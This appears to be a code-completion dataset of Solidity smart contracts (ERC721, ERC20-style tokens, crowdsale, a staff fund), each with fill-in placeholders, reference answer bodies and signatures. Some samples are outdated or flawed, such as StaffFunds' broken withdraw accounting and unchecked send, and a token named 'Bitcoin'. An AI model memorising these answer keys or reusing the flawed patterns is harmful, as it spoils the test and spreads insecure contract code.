(`_burn`). */ function _exists(uint256 tokenId) internal view returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId ) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } }
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) internal _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap internal _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; // If there is no base URI, return the token URI. if (bytes(_baseURI).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(_baseURI, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(_baseURI, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } <FILL_FUNCTION> /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId ) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } }
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override
/** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override
64800
Token
approveAndCall
contract Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It’s like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // برای توکن خود مقدارهای زیر را تغییر دهید // //make sure this function name matches the contract name above. So if you’re token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function Token( ) { balances[msg.sender] = 21000000; // تمام توکنهای ساخته شده سازنده برسد -عددی وارد کنید مثلا 100000 totalSupply = 21000000; // تمام عرضه name = 'Bitcoin'; // نام توکن decimals = 4; // اعشار symbol = 'BTC'; // نماد توکن } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {<FILL_FUNCTION_BODY> } }
contract Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It’s like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // برای توکن خود مقدارهای زیر را تغییر دهید // //make sure this function name matches the contract name above. So if you’re token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function Token( ) { balances[msg.sender] = 21000000; // تمام توکنهای ساخته شده سازنده برسد -عددی وارد کنید مثلا 100000 totalSupply = 21000000; // تمام عرضه name = 'Bitcoin'; // نام توکن decimals = 4; // اعشار symbol = 'BTC'; // نماد توکن } <FILL_FUNCTION> }
allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn’t have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3('receiveApproval(address,uint256,address,bytes)'))), msg.sender, _value, this, _extraData)) { throw; } return true;
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success)
/* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success)
88602
PROM
burn
contract PROM { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ function PROM( ) public { totalSupply = 777000000000000000000000000; // Total supply with the decimal amount balanceOf[msg.sender] = 777000000000000000000000000; // All initial tokens name = "Pro Marketer"; // The name for display purposes symbol = "PROM"; // The symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }
contract PROM { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ function PROM( ) public { totalSupply = 777000000000000000000000000; // Total supply with the decimal amount balanceOf[msg.sender] = 777000000000000000000000000; // All initial tokens name = "Pro Marketer"; // The name for display purposes symbol = "PROM"; // The symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } <FILL_FUNCTION> /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true;
function burn(uint256 _value) public returns (bool success)
/** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success)
67434
StaffFunds
deposit
contract StaffFunds is Owned { address public Owner; mapping (address=>uint) public deposits; function StaffWallet() { Owner = msg.sender; } function() payable { } function deposit() payable {<FILL_FUNCTION_BODY> } function withdraw(uint amount) onlyOwner { // only BOD can initiate payments as requested uint depo = deposits[msg.sender]; deposits[msg.sender] -= msg.value; // MAX: for security re entry attack dnr if( amount <= depo && depo > 0 ) msg.sender.send(amount); } //TODO function kill() onlyOwner { require(this.balance == 0); // MAX: prevent losing funds suicide(msg.sender); } }
contract StaffFunds is Owned { address public Owner; mapping (address=>uint) public deposits; function StaffWallet() { Owner = msg.sender; } function() payable { } <FILL_FUNCTION> function withdraw(uint amount) onlyOwner { // only BOD can initiate payments as requested uint depo = deposits[msg.sender]; deposits[msg.sender] -= msg.value; // MAX: for security re entry attack dnr if( amount <= depo && depo > 0 ) msg.sender.send(amount); } //TODO function kill() onlyOwner { require(this.balance == 0); // MAX: prevent losing funds suicide(msg.sender); } }
// For employee benefits if( msg.value >= 1 ether ) // prevent dust payments deposits[msg.sender] += msg.value; else return;
function deposit() payable
function deposit() payable
24462
minishop
buy
contract minishop{ event Buy(address indexed producer, bytes32 indexed productHash, address indexed buyer); function buy(address _producer, bytes32 _productHash) public {<FILL_FUNCTION_BODY> } }
contract minishop{ event Buy(address indexed producer, bytes32 indexed productHash, address indexed buyer); <FILL_FUNCTION> }
emit Buy(_producer, _productHash, msg.sender);
function buy(address _producer, bytes32 _productHash) public
function buy(address _producer, bytes32 _productHash) public
69442
TimedCrowdsale
null
contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen { // solium-disable-next-line security/no-block-members require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } /** * @dev Constructor, takes crowdsale opening and closing times. * @param _openingTime Crowdsale opening time * @param _closingTime Crowdsale closing time */ constructor(uint256 _openingTime, uint256 _closingTime) public {<FILL_FUNCTION_BODY> } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { // solium-disable-next-line security/no-block-members return block.timestamp > closingTime; } /** * @dev Extend parent behavior requiring to be within contributing period * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } }
contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen { // solium-disable-next-line security/no-block-members require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } <FILL_FUNCTION> /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { // solium-disable-next-line security/no-block-members return block.timestamp > closingTime; } /** * @dev Extend parent behavior requiring to be within contributing period * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } }
// solium-disable-next-line security/no-block-members require(_openingTime >= block.timestamp); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime;
constructor(uint256 _openingTime, uint256 _closingTime) public
/** * @dev Constructor, takes crowdsale opening and closing times. * @param _openingTime Crowdsale opening time * @param _closingTime Crowdsale closing time */ constructor(uint256 _openingTime, uint256 _closingTime) public
88194
MintableToken
mint
contract MintableToken is TokenFreeze, Whitelisted { event Mint(address indexed to, uint256 amount); event MintFinished(); string public constant name = "Vertex"; string public constant symbol = "VTEX"; uint8 public constant decimals = 5; // 18 is the most common number of decimal places bool public mintingFinished = false; mapping (address => bool) public whitelist; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } }
